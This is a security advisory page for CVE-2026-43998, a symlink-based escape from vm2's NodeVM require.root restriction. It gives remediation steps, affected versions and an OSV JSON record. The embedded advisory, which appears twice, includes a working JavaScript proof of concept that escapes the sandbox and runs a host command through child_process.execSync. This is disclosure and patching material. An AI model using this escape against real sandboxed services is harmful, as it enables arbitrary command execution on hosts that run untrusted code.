CVE-2026-43998: Vm2 Vm2 Has A NodeVM Require.root Vulnerability

HIGH
Advisory Identifier: GHSA-cp6g-6699-wx9c
CVSS 8.5
CWE-59
Published
Advisory Summary

CVE-2026-43998 is a HIGH (CVSS 8.5) vm2 has a nodevm require.root vulnerability (CWE-59: Improper Link Resolution Before File Access ('Link Following')) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has a nodevm require.root bypass via symlink traversal that allows sandbox escape. Remediation is available by upgrading affected packages to version 3.11.0.

CVE-2026-43998 at a Glance

CVE Identifier CVE-2026-43998
GHSA Identifier GHSA-cp6g-6699-wx9c
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-59: Improper Link Resolution Before File Access ('Link Following')
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-43998

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.0
npm install vm2@3.11.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-43998, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.0), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following'), where the product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary NodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. ## Severity **High** (CVSS 3.1: 8.5) `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments - **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - **User Interaction:** None - **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system - **Confidentiality Impact:** High — arbitrary file read via host command execution - **Integrity Impact:** High — arbitrary command execution on the host - **Availability Impact:** High — arbitrary command execution on the host ## Affected Component - `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60) - `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66) - `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10) ## CWE - **CWE-59**: Improper Link Resolution Before File Access ## Description ### Root Cause: Check/Use Path Discrepancy The `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check: ```js // lib/resolver-compat.js:53-60 isPathAllowed(filename) { return this.rootPaths === undefined || this.rootPaths.some(path => { if (!filename.startsWith(path)) return false; const len = path.length; if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(filename[len]); }); } ``` The filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`: ```js // lib/filesystem.js:8-10 resolve(path) { return pa.resolve(path); } ``` `path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check. However, the actual module loading uses Node's native `require()`, which **does** follow symlinks: ```js // lib/resolver-compat.js:62-66 loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); mod.exports = vm.readonly(m); } ``` ### No Symlink Defenses Exist A search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks: ```js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined; ``` ### Full Execution Chain 1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }` 2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces) 3. Sandbox code calls `require('safe')` 4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js` 5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed) 6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES** 7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)` 8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js` 9. Module executes in host realm; exports proxied to sandbox 10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`) ## Proof of Concept ```js const path = require('path'); const fs = require('fs'); const os = require('os'); const { NodeVM } = require('vm2'); // Create an "allowed" root directory const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-')); fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true }); // Symlink inside root pointing to vm2 package outside root // In real deployments: pnpm, npm link, workspaces create these automatically const link = path.join(root, 'node_modules', 'safe'); fs.symlinkSync(path.resolve(__dirname), link, 'dir'); const vm = new NodeVM({ require: { external: ['safe'], root, context: 'host', builtin: [], // no builtins allowed }, }); // Sandbox code loads vm2 from outside root via symlink, // creates a privileged inner NodeVM to get child_process const out = vm.run(` const { NodeVM } = require('safe'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'inner.js' ); `, path.join(root, 'vm.js')); console.log(out.trim()); // prints host uid/gid — RCE achieved ``` ## Impact - **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context. - **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system. - **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present. - **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation. - **Silent failure**: No error or warning is raised when a symlink traverses outside the root. ## Recommended Remediation ### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred) Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location: ```js // lib/filesystem.js — add a realpath method const fs = require('fs'); class DefaultFileSystem { resolve(path) { return pa.resolve(path); } realpath(path) { return fs.realpathSync(path); } // ... rest unchanged } ``` ```js // lib/resolver-compat.js — use realpath in isPathAllowed or before calling it isPathAllowed(filename) { let realFilename; try { realFilename = this.fs.realpath(filename); } catch (e) { return false; // file doesn't exist or can't be resolved } return this.rootPaths === undefined || this.rootPaths.some(path => { if (!realFilename.startsWith(path)) return false; const len = path.length; if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(realFilename[len]); }); } ``` Also dereference root paths at construction time: ```js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => { const resolved = fsOpt.resolve(f); try { return fs.realpathSync(resolved); } catch (e) { return resolved; } }) : undefined; ``` **Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead. ### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess` Add a realpath check at the enforcement point in `Resolver.makeExtensionHandler`: ```js makeExtensionHandler(vm, name) { return (mod, filename) => { filename = this.fs.resolve(filename); // Dereference symlinks before access check try { const realFilename = fs.realpathSync(filename); if (realFilename !== filename) { // Filename was a symlink — validate the real path too this.checkAccess(mod, realFilename); } } catch (e) { throw new VMError(`Access denied to require '${filename}'`, 'EDENIED'); } this.checkAccess(mod, filename); this[name](vm, mod, filename); }; } ``` **Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

CVE-2026-43998 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.0
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
≥ 3.10.5
< 3.11.0
All 1 versions
3.10.5
3.11.0

References

Frequently Asked Questions

What is CVE-2026-43998?
CVE-2026-43998 is a security vulnerability in Vm2 involving vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape under CWE-59: Improper Link Resolution Before File Access ('Link Following').
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.0 across affected packages: vm2.
What version fixes CVE-2026-43998?
Upgrading to 3.11.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.0. Upgrade your dependency to 3.11.0 or later.
What is the CVSS score of CVE-2026-43998?
CVE-2026-43998 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-43998?
CVE-2026-43998 is classified under CWE-59: Improper Link Resolution Before File Access ('Link Following') (The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.).
How can I check npm dependencies for CVE-2026-43998?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cp6g-6699-wx9c",
  "modified" : "2026-05-14T20:36:59Z",
  "published" : "2026-05-07T04:33:37Z",
  "aliases" : [ "CVE-2026-43998" ],
  "summary" : "vm2 has a NodeVM require.root bypass via symlink traversal that allows sandbox escape",
  "details" : "## Summary\nNodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.\n\n## Severity\n**High** (CVSS 3.1: 8.5)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system\n- **Confidentiality Impact:** High — arbitrary file read via host command execution\n- **Integrity Impact:** High — arbitrary command execution on the host\n- **Availability Impact:** High — arbitrary command execution on the host\n\n## Affected Component\n- `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60)\n- `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66)\n- `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10)\n\n## CWE\n- **CWE-59**: Improper Link Resolution Before File Access\n\n## Description\n\n### Root Cause: Check/Use Path Discrepancy\n\nThe `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:\n\n```js\n// lib/resolver-compat.js:53-60\nisPathAllowed(filename) {\n    return this.rootPaths === undefined || this.rootPaths.some(path => {\n        if (!filename.startsWith(path)) return false;\n        const len = path.length;\n        if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(filename[len]);\n    });\n}\n```\n\nThe filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`:\n\n```js\n// lib/filesystem.js:8-10\nresolve(path) {\n    return pa.resolve(path);\n}\n```\n\n`path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check.\n\nHowever, the actual module loading uses Node's native `require()`, which **does** follow symlinks:\n\n```js\n// lib/resolver-compat.js:62-66\nloadJS(vm, mod, filename) {\n    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n    const m = this.hostRequire(filename);\n    mod.exports = vm.readonly(m);\n}\n```\n\n### No Symlink Defenses Exist\n\nA search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;\n```\n\n### Full Execution Chain\n\n1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }`\n2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces)\n3. Sandbox code calls `require('safe')`\n4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js`\n5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed)\n6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES**\n7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)`\n8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js`\n9. Module executes in host realm; exports proxied to sandbox\n10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`)\n\n## Proof of Concept\n\n```js\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\nconst { NodeVM } = require('vm2');\n\n// Create an \"allowed\" root directory\nconst root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));\nfs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });\n\n// Symlink inside root pointing to vm2 package outside root\n// In real deployments: pnpm, npm link, workspaces create these automatically\nconst link = path.join(root, 'node_modules', 'safe');\nfs.symlinkSync(path.resolve(__dirname), link, 'dir');\n\nconst vm = new NodeVM({\n  require: {\n    external: ['safe'],\n    root,\n    context: 'host',\n    builtin: [],       // no builtins allowed\n  },\n});\n\n// Sandbox code loads vm2 from outside root via symlink,\n// creates a privileged inner NodeVM to get child_process\nconst out = vm.run(`\n  const { NodeVM } = require('safe');\n  const inner = new NodeVM({ require: { builtin: ['child_process'] } });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'inner.js'\n  );\n`, path.join(root, 'vm.js'));\n\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\n```\n\n## Impact\n- **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.\n- **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.\n- **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.\n- **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation.\n- **Silent failure**: No error or warning is raised when a symlink traverses outside the root.\n\n## Recommended Remediation\n\n### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred)\n\nResolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:\n\n```js\n// lib/filesystem.js — add a realpath method\nconst fs = require('fs');\n\nclass DefaultFileSystem {\n    resolve(path) {\n        return pa.resolve(path);\n    }\n\n    realpath(path) {\n        return fs.realpathSync(path);\n    }\n    // ... rest unchanged\n}\n```\n\n```js\n// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it\nisPathAllowed(filename) {\n    let realFilename;\n    try {\n        realFilename = this.fs.realpath(filename);\n    } catch (e) {\n        return false; // file doesn't exist or can't be resolved\n    }\n    return this.rootPaths === undefined || this.rootPaths.some(path => {\n        if (!realFilename.startsWith(path)) return false;\n        const len = path.length;\n        if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(realFilename[len]);\n    });\n}\n```\n\nAlso dereference root paths at construction time:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {\n    const resolved = fsOpt.resolve(f);\n    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }\n}) : undefined;\n```\n\n**Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead.\n\n### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess`\n\nAdd a realpath check at the enforcement point in `Resolver.makeExtensionHandler`:\n\n```js\nmakeExtensionHandler(vm, name) {\n    return (mod, filename) => {\n        filename = this.fs.resolve(filename);\n        // Dereference symlinks before access check\n        try {\n            const realFilename = fs.realpathSync(filename);\n            if (realFilename !== filename) {\n                // Filename was a symlink — validate the real path too\n                this.checkAccess(mod, realFilename);\n            }\n        } catch (e) {\n            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');\n        }\n        this.checkAccess(mod, filename);\n        this[name](vm, mod, filename);\n    };\n}\n```\n\n**Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.10.5"
      }, {
        "fixed" : "3.11.0"
      } ]
    } ],
    "versions" : [ "3.10.5" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43998"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T04:33:37Z",
    "nvd_published_at" : "2026-05-13T18:16:16Z"
  }
}